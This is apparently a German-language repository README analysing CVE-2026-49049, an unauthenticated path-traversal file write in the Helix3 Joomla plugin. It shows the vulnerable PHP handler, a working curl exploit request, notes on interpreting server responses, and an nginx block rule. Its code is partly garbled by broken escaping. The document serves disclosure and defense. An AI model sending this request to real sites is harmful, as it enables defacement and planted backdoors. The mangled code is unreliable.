
Technische Analyse und Proof of Concept (PoC) für CVE-2026-49049, eine nicht authentifizierte Schwachstelle zum beliebigen Schreiben von Dateien in JoomShaper Helix3 für Joomla, einschließlich Ausnutzungsvektoren und Abhilfemaßnahmen.
Dieses Repository enthält Materialien, eine technische Analyse und einen Proof of Concept (PoC) für die kritische Schwachstelle CVE-2026-49049, die im veralteten Template-Framework Helix3 von JoomShaper für das CMS Joomla (Versionen 1.0 bis einschließlich 3.1.0) entdeckt wurde.
Die Schwachstelle wird in freier Wildbahn aktiv von automatisierten Botnetzen ausgenutzt (insbesondere im Rahmen der Defacement-Kampagne AntonKill).
Das Problem liegt im systemeigenen AJAX-Handler von Joomla (com_ajax), der die Methode onAjaxHelix3() im Plugin plg_ajax_helix3 aufruft. Die Entwickler der Komponente haben Folgendes nicht vorgesehen:
layoutName.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
Zur Verifikation der Schwachstelle wird eine POST-Anfrage mit dem Content-Typ application/x-www-form-urlencoded verwendet. Diese Methode der Parameterverpackung ist am effektivsten, um die Sicherheitslücke zu demonstrieren.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
Bei Penetrationstests kann der Server verschiedene Arten von Antworten zurückgeben. Deren Interpretation ist entscheidend:
Serverantwort:
{"success":true,"message":null,"messages":null,"data":[]}
Interpretation: Das Plugin ist anfällig, es gibt keine Betriebssystemeinschränkungen. Die Datei wurde erfolgreich im Stammverzeichnis der Website erstellt und ist unter https://target.com erreichbar. Die Website erfordert sofortige Bereinigung und Isolierung.
Serverantwort:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
Interpretation: Teilerfolg. Die Logik des Helix3-Plugins wurde kompromittiert – es hat die Daten ohne Authentifizierung angenommen und versucht, eine Datei zum Schreiben zu öffnen (fopen). Allerdings hat das Linux-Betriebssystem diese Aktion blockiert, da der Webserver-Benutzer (z. B. www-data) keine Schreibrechte im Stammverzeichnis der Website hat.
Serverantwort: Status 404 Not Found, 403 Forbidden oder leere Antwort [].
Interpretation: Das Plugin wurde auf eine sichere Version (3.1.1+) aktualisiert, in der eine Authentifizierungsprüfung hinzugefügt wurde, oder es wurde vollständig aus dem CMS entfernt.
plg_ajax_helix3 vollständig über das Joomla-Administrationspanel.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
Haftungsausschluss: Dieses Material wird ausschließlich zu Bildungszwecken und für legitime Sicherheitsaudits von Systemen (Pentesting) bereitgestellt. Der Autor übernimmt keine Haftung für die missbräuchliche Verwendung der bereitgestellten Informationen.
| Parameter | Wert / Beispiel | Was bedeutet das für den Server |
|---|
option | com_ajax | Einstiegspunkt in Joomla für die Verarbeitung von AJAX-Anfragen. |
plugin | helix3 | Systemidentifikator, der Joomla zwingt, die Kontrolle an das anfällige Plugin Helix3 zu übergeben. |
format | json | Weist die Engine an, die Antwort im JSON-Format zurückzugeben. |
-d | data[...] | Anforderungsbody (Formulardaten), der automatisch von PHP in das globale Array $_POST interpretiert wird. |
data[action] | save | Der switch-Schalter im Code. Weist das Plugin an, die Funktion zum Schreiben (Erstellen) einer Datei aufzurufen. |
data[layoutName] | ../../../../../../../example | Wichtigster Angriffsvektor (Path Traversal). Die Zeichen ../ zwingen das Betriebssystem, den isolierten Plugin-Ordner zu verlassen und ins Stammverzeichnis der Website zu gelangen. Die Erweiterung .json wird automatisch vom Plugin hinzugefügt. |
data[content] | {"probe":"test"} | Nutzlast (Payload). Textdaten, die physisch in die erstellte Datei example.json geschrieben werden. In realen Angriffen wird hier schädlicher Defacement-Code oder Backdoors eingefügt. |